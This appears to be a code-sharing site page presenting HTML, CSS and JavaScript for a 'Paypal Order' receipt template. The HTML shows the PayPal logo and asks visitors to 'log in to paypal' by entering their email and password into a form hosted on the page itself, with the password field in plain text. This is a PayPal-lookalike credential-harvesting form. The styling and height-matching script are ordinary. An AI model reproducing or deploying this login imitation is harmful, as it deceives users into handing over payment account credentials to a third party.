Paypal Order

Developer
Matt Cowley
Size
3,611 Kb
Views
174,064
  1. Paypal Order Previews
  2. Paypal Order HTML Codes
  3. Paypal Order CSS Codes
  4. Paypal Order JS Codes

How do I make an paypal order?

What is a paypal order? How do you make a paypal order? This script and codes were developed by Matt Cowley on 12 June 2022, Sunday.

Paypal Order Previews
IQ Test

Paypal Order - Script Codes HTML Codes

<!DOCTYPE html>
<html >
<head> <meta charset="UTF-8"> <title>Paypal Order</title> <link rel="stylesheet" href="css/style.css">
</head>
<body> <div class="container"> <div class="letter"> <section class="triangle-blue"> <div class="box-blue"> </div> <div class="triangle"></div> </section> <div class="clearfix"></div> <section class="letter-container"> <div class="content-left pull-left"> <div class="wrapper"> <div class="content title"> <span>Receipt for</span> <span><?php echo $paymentData['ordername']; ?></span> </div> <div class="content amount"> <span><i class="fa fa-credit-card" aria-hidden="true"></i> Amount:</span> <span><?php echo $paymentData['cost']; ?></span> </div> <div class="content date"> <span><i class="fa fa-calendar" aria-hidden="true"></i> Date:</span> <span><?php echo date(''); //Day Mth ?></span> </div> <div class="content issuer"> <span><i class="fa fa-star-o" aria-hidden="true"></i> Issuer:</span> <span>Unreal Designs</span> </div> <div class="confirmation"> <span><i class="fa fa-wpforms" aria-hidden="true"></i>
</i> Order No:</span> <span><?php echo $paymentData['orderid']; ?></span> </div> </div> </div> <div class="content-right pull-right"> <div class="wrapper"> <header class="ligne"> <div class="logo pull-left"> <img width="95%" src="//www.paypalobjects.com/images/shared/paypal-logo-129x32.svg" alt="PayPal Logo" /> </div> <div class="time pull-right"> <span><?php echo date(''); //Full ?></span> </div> </header> <section class="body"> <!--<h3><?php echo $paymentData['ordername']; ?></h3> <small>Total: &nbsp; <?php echo $paymentData['cost']; ?></small>--> <p> Please log in to paypal to complete the payment of <br /> <span><?php echo $paymentData['cost']; ?></span> <br /> to Unreal Designs. (<a href="#">[email protected]</a>) </p> <form action="" type="POST"> <input name="email" type="email" placeholder="Email address" /> <input name="password" type="text" placeholder="Password" /> <button type="submit" name="submit" value="Continue">Continue</button> </form> <small> <br/>It may take a few moments for this transaction to appear in your account once processed. </small> </section> <footer> <small>Please click continue with no log in details if you wish to use a debit or credit card not associated to an account.</small> </footer> </div> </div> </section> </div>
</div> <script src="js/index.js"></script>
</body>
</html>

Paypal Order - Script Codes CSS Codes

@import url('//fonts.googleapis.com/css?family=Source+Sans+Pro');
* { margin: 0; padding: 0; box-sizing: border-box;
}
body { font-family: 'Source Sans Pro', sans-serif; padding: 30px; background-color: #f2f2f2
}
span { padding-bottom: 5px
}
.pull-left { float: left !important;
}
.pull-right { float: right !important;
}
.clearfix { clear: both
}
.wrapper { padding: 30px;
}
.container { width: 80%; margin: auto;
}
.letter { position: relative;
}
section.triangle-blue { overflow: hidden; background-color: #fff; border-radius: 10px
}
div.box-blue { width: 30%; min-height: 600px; background-color: #0476e6; float: right;
}
div.triangle { width: 0; height: 0; border: 0 solid transparent; border-top-width: 300px; border-bottom-width: 300px; border-right: 100px solid #0476e6; float: right
}
section.letter-container { overflow: hidden; width: 100%; position: absolute; top: 0; left: 0; padding: 60px 10%;
}
div.content-left,
div.content-right { -moz-box-shadow: 1px 1px 10px 0px #dedfe1; -webkit-box-shadow: 1px 1px 10px 0px #dedfe1; -o-box-shadow: 1px 1px 10px 0px #dedfe1; box-shadow: 1px 1px 10px 0px #dedfe1;
}
div.content-left { width: 40%; background-color: #0476e6; border-top-left-radius: 10px; border-bottom-left-radius: 10px; min-height: 480px; color: #fff
}
div.content-left .content i,
.confirmation i { margin-right: 10px; font-size: 15px;
}
div.content-left .content:after { content: ""; width: 100%; height: 1px; display: block; background-color: #2095ff; margin: 20px 0;
}
div.content-left .content span:first-of-type,
.confirmation span:first-of-type { font-weight: 300; display: block;
}
div.content-left .content span:last-of-type,
.confirmation span:last-of-type { font-size: 20px; font-weight: 600; margin-left: 30px
}
div.content-left .title span:last-of-type { margin-left: 0
}
div.content-right { width: 60%; background-color: #fff; padding: 10px; border-top-right-radius: 10px; border-bottom-right-radius: 10px; min-height: 480px; color: #75767b;
}
div.content-right section.body:before,
.body:after { content: ""; width: 100%; height: 1px; display: block; background-color: #dedfe1; margin: 20px 0;
}
div.content-right header { overflow: hidden;
}
div.content-right header .logo { width: 40%;
}
div.content-right header .time { width: 60%; padding-top: 20px; text-align: right;
}
div.content-right section.body h3 { padding: 15px 0;
}
div.content-right section.body small:first-of-type:before { content: ""; width: 40%; height: 1px; display: inline-block; background-color: #dedfe1; margin-right: 20px
}
div.content-right section.body p { padding: 30px 0;
}
div.content-right section.body p a { text-decoration: none; color: #0476e6
}
div.content-right section.body small { font-size: 10px; color: #b3b4b6
}
div.content-right footer { overflow: hidden;
}
div.content-right footer a { width: 50%; text-decoration: none; color: #0476e6; float: left;
}
div.content-right footer span { width: 50%; float: right; text-align: right;
}
form { margin: 0 0 20px;
}
form input { display: block; padding: 0 10px; border: 1px solid #9da3a6; background: #fff; text-overflow: ellipsis; box-shadow: none; color: #000; font-size: 1em; height: 44px; width: 100%; background-clip: padding-box; border-radius: 4px; margin: 0 0 10px; transition: all .1s ease-in-out;
}
form input:hover,
form input:focus { border: 1px solid #005ea6;
}
form button { background-color: #005ea6; outline: 0; width: 100%; height: 44px; padding: 0; border: 0; display: block; box-shadow: none; border-radius: 4px; box-sizing: border-box; cursor: pointer; color: #fff; font-size: 1em; text-align: center; transition: all .1s ease-in-out;
}
form button:hover,
form buttom:focus { background-color: #0476e6;
}

Paypal Order - Script Codes JS Codes

var leftContent = document.getElementsByClassName('content-left')[0];
var rightContent = document.getElementsByClassName('content-right')[0];
var bgOuter = document.getElementsByClassName('triangle-blue')[0];
var bgInner = document.getElementsByClassName('box-blue')[0];
var bgExtra = document.getElementsByClassName('triangle')[0];
var lCH = leftContent.offsetHeight;
var rCH = rightContent.offsetHeight;
var finalHeight = Math.max(lCH, rCH) + 20;
leftContent.style.height = finalHeight + "px";
rightContent.style.height = finalHeight + "px";
bgOuter.style.height = (finalHeight + 120) + "px";
bgInner.style.height = (finalHeight + 120) + "px";
bgExtra.style.borderTopWidth = ((finalHeight + 120) / 2) + "px";
bgExtra.style.borderBottomWidth = ((finalHeight + 120) / 2) + "px";
Paypal Order - Script Codes
Paypal Order - Script Codes
Home Page Home
Developer Matt Cowley
Username MattCowley
Uploaded June 12, 2022
Rating 3
Size 3,611 Kb
Views 174,064
Do you need developer help for Paypal Order?

Find the perfect freelance services for your business! Fiverr's mission is to change how the world works together. Fiverr connects businesses with freelancers offering digital services in 500+ categories. Find Developer!

Matt Cowley (MattCowley) Script Codes
Name
A New Blink - Coming Soon
Skyblock Landing
WorldCorner Email Conformation
IT GCSE Testbed
Image Site - Error
Unreal Quote Page
CurrentShoe.com
Email Signature
Matt Cowley - Console Site
Unreal Designs Server Default Page
Create amazing sales emails with AI!

Jasper is the AI Content Generator that helps you and your team break through creative blocks to create amazing, original content 10X faster. Discover all the ways the Jasper AI Content Platform can help streamline your creative workflows. Start For Free!